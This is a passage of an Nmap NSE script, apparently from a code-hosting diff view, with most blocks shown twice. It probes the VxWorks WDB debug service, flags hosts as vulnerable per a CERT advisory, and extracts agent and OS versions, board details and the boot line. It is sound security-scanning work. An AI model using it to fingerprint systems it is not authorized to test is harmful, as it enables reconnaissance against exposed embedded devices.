pos, len = rpc.Util.unmarshall_uint32(data, pos)
|
||||
if (len ~= 0) then
|
||||
pos, info["agent_ver"] = rpc.Util.unmarshall_vopaque(len, data, pos)
|
||||
end
|
||||
pos, info["agent_mtu"] = rpc.Util.unmarshall_uint32(data, pos)
|
||||
pos, info["agent_mod"] = rpc.Util.unmarshall_uint32(data, pos)
|
||||
pos, info["rt_type"] = rpc.Util.unmarshall_uint32(data, pos)
|
||||
pos, len = rpc.Util.unmarshall_uint32(data, pos)
|
||||
if (pos == done) then return pos, info end
|
||||
if (len ~= 0) then
|
||||
pos, info["rt_vers"] = rpc.Util.unmarshall_vopaque(len, data, pos)
|
||||
end
|
||||
pos, info["rt_cpu_type"] = rpc.Util.unmarshall_uint32(data, pos)
|
||||
pos, len = rpc.Util.unmarshall_uint32(data, pos)
|
||||
info["rt_has_fpp"] = ( len ~= 0 )
|
||||
pos, len = rpc.Util.unmarshall_uint32(data, pos)
|
||||
info["rt_has_wp"] = ( len ~= 0 )
|
||||
pos, info["rt_page_size"] = rpc.Util.unmarshall_uint32(data, pos)
|
||||
pos, info["rt_endian"] = rpc.Util.unmarshall_uint32(data, pos)
|
||||
pos, len = rpc.Util.unmarshall_uint32(data, pos)
|
||||
if (len ~= 0) then
|
||||
pos, info["rt_bsp_name"] = rpc.Util.unmarshall_vopaque(len, data, pos)
|
||||
end
|
||||
pos, len = rpc.Util.unmarshall_uint32(data, pos)
|
||||
if (len ~= 0) then
|
||||
pos, info["rt_bootline"] = rpc.Util.unmarshall_vopaque(len, data, pos)
|
||||
end
|
||||
if (pos == done) then return pos, info end
|
||||
pos, info["rt_membase"] = rpc.Util.unmarshall_uint32(data, pos)
|
||||
if (pos == done) then return pos, info end
|
||||
pos, info["rt_memsize"] = rpc.Util.unmarshall_uint32(data, pos)
|
||||
if (pos == done) then return pos, info end
|
||||
pos, info["rt_region_count"] = rpc.Util.unmarshall_uint32(data, pos)
|
||||
if (pos == done) then return pos, info end
|
||||
pos, len = rpc.Util.unmarshall_uint32(data, pos)
|
||||
if (len ~= 0) then
|
||||
info["rt_regions"] = {}
|
||||
for i = 1, len do
|
||||
pos, info["rt_regions"][i] = rpc.Util.unmarshall_uint32(data, pos)
|
||||
end
|
||||
end
|
||||
if (pos == done) then return pos, info end
|
||||
pos, len = rpc.Util.unmarshall_uint32(data, pos)
|
||||
if (len == nil) then return pos, info end
|
||||
if (len ~= 0) then
|
||||
pos, info["rt_hostpool_base"] = rpc.Util.unmarshall_vopaque(len, data, pos)
|
||||
end
|
||||
if (pos == done) then return pos, info end
|
||||
pos, len = rpc.Util.unmarshall_uint32(data, pos)
|
||||
if (len ~= 0) then
|
||||
pos, info["rt_hostpool_size"] = rpc.Util.unmarshall_vopaque(len, data, pos)
|
||||
end
|
||||
return pos, info
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
local comm = rpc.Comm:new("wdb", 1)
|
||||
local status, err, data, pos, header
|
||||
local info = {}
|
||||
status, err = comm:Connect(host, port)
|
||||
if (not(status)) then
|
||||
return stdnse.format_output(false, err)
|
||||
end
|
||||
comm.socket:set_timeout(3000)
|
||||
local packet = request(comm, WDB_Procedure["WDB_TARGET_CONNECT"], bin.pack(">I3", 0x00000002, 0x00000000, 0x00000000))
|
||||
if (not(comm:SendPacket(packet))) then
|
||||
return stdnse.format_output(false, "Failed to send request")
|
||||
end
|
||||
local comm = rpc.Comm:new("wdb", 1)
|
||||
local status, err, data, pos, header
|
||||
local info = {}
|
||||
status, err = comm:Connect(host, port)
|
||||
if (not(status)) then
|
||||
return stdnse.format_output(false, err)
|
||||
end
|
||||
comm.socket:set_timeout(3000)
|
||||
local packet = request(comm, WDB_Procedure["WDB_TARGET_CONNECT"], bin.pack(">I3", 0x00000002, 0x00000000, 0x00000000))
|
||||
if (not(comm:SendPacket(packet))) then
|
||||
return stdnse.format_output(false, "Failed to send request")
|
||||
end
|
||||
|
||||
status, data = comm:ReceivePacket()
|
||||
if (not(status)) then
|
||||
--return stdnse.format_output(false, "Failed to read data")
|
||||
return nil
|
||||
end
|
||||
nmap.set_port_state(host, port, "open")
|
||||
status, data = comm:ReceivePacket()
|
||||
if (not(status)) then
|
||||
--return stdnse.format_output(false, "Failed to read data")
|
||||
return nil
|
||||
end
|
||||
nmap.set_port_state(host, port, "open")
|
||||
|
||||
pos = 0
|
||||
pos, header = comm:DecodeHeader(data, pos)
|
||||
if not header then
|
||||
return stdnse.format_output(false, "Failed to decode header")
|
||||
end
|
||||
pos = 0
|
||||
pos, header = comm:DecodeHeader(data, pos)
|
||||
if not header then
|
||||
return stdnse.format_output(false, "Failed to decode header")
|
||||
end
|
||||
|
||||
if ( pos == data:len() ) then
|
||||
return stdnse.format_output(false, "No WDB data in reply")
|
||||
end
|
||||
if ( pos == data:len() ) then
|
||||
return stdnse.format_output(false, "No WDB data in reply")
|
||||
end
|
||||
|
||||
pos, info = decode_reply(data, pos)
|
||||
if not pos then
|
||||
return stdnse.format_output(false, "WDB error: "..info.error)
|
||||
end
|
||||
port.version.name = "wdb"
|
||||
port.version.name_confidence = 10
|
||||
port.version.product = "Wind DeBug Agent"
|
||||
port.version.version = stripnull(info["agent_ver"])
|
||||
if (port.version.ostype ~= nil) then
|
||||
port.version.ostype = "VxWorks " .. stripnull(info["rt_vers"])
|
||||
end
|
||||
nmap.set_port_version(host, port)
|
||||
pos, info = decode_reply(data, pos)
|
||||
if not pos then
|
||||
return stdnse.format_output(false, "WDB error: "..info.error)
|
||||
end
|
||||
port.version.name = "wdb"
|
||||
port.version.name_confidence = 10
|
||||
port.version.product = "Wind DeBug Agent"
|
||||
port.version.version = stripnull(info["agent_ver"])
|
||||
if (port.version.ostype ~= nil) then
|
||||
port.version.ostype = "VxWorks " .. stripnull(info["rt_vers"])
|
||||
end
|
||||
nmap.set_port_version(host, port)
|
||||
-- Clean up (some agents will continue to send data until we disconnect)
|
||||
packet = request(comm, WDB_Procedure["WDB_TARGET_DISCONNECT"], bin.pack(">I3", 0x00000002, 0x00000000, 0x00000000))
|
||||
if (not(comm:SendPacket(packet))) then
|
||||
return stdnse.format_output(false, "Failed to send request")
|
||||
end
|
||||
packet = request(comm, WDB_Procedure["WDB_TARGET_DISCONNECT"], bin.pack(">I3", 0x00000002, 0x00000000, 0x00000000))
|
||||
if (not(comm:SendPacket(packet))) then
|
||||
return stdnse.format_output(false, "Failed to send request")
|
||||
end
|
||||
|
||||
local o = stdnse.output_table()
|
||||
table.insert(o, "VULNERABLE: Wind River Systems VxWorks debug service enabled. See http://www.kb.cert.org/vuls/id/362332")
|
||||
if (info.agent_ver) then
|
||||
o["Agent version"] = stripnull(info.agent_ver)
|
||||
end
|
||||
--table.insert(o, "Agent MTU: " .. info.agent_mtu)
|
||||
if (info.rt_vers) then
|
||||
o["VxWorks version"] = stripnull(info.rt_vers)
|
||||
end
|
||||
-- rt_cpu_type is an enum type, but I don't have access to
|
||||
-- cputypes.h, where it is defined
|
||||
--table.insert(o, "CPU Type: " .. info.rt_cpu_type)
|
||||
if (info.rt_bsp_name) then
|
||||
o["Board Support Package"] = stripnull(info.rt_bsp_name)
|
||||
end
|
||||
if (info.rt_bootline) then
|
||||
o["Boot line"] = stripnull(info.rt_bootline)
|
||||
end
|
||||
return o
|
||||
local o = stdnse.output_table()
|
||||
table.insert(o, "VULNERABLE: Wind River Systems VxWorks debug service enabled. See http://www.kb.cert.org/vuls/id/362332")
|
||||
if (info.agent_ver) then
|
||||
o["Agent version"] = stripnull(info.agent_ver)
|
||||
end
|
||||
--table.insert(o, "Agent MTU: " .. info.agent_mtu)
|
||||
if (info.rt_vers) then
|
||||
o["VxWorks version"] = stripnull(info.rt_vers)
|
||||
end
|
||||
-- rt_cpu_type is an enum type, but I don't have access to
|
||||
-- cputypes.h, where it is defined
|
||||
--table.insert(o, "CPU Type: " .. info.rt_cpu_type)
|
||||
if (info.rt_bsp_name) then
|
||||
o["Board Support Package"] = stripnull(info.rt_bsp_name)
|
||||
end
|
||||
if (info.rt_bootline) then
|
||||
o["Boot line"] = stripnull(info.rt_bootline)
|
||||
end
|
||||
return o
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user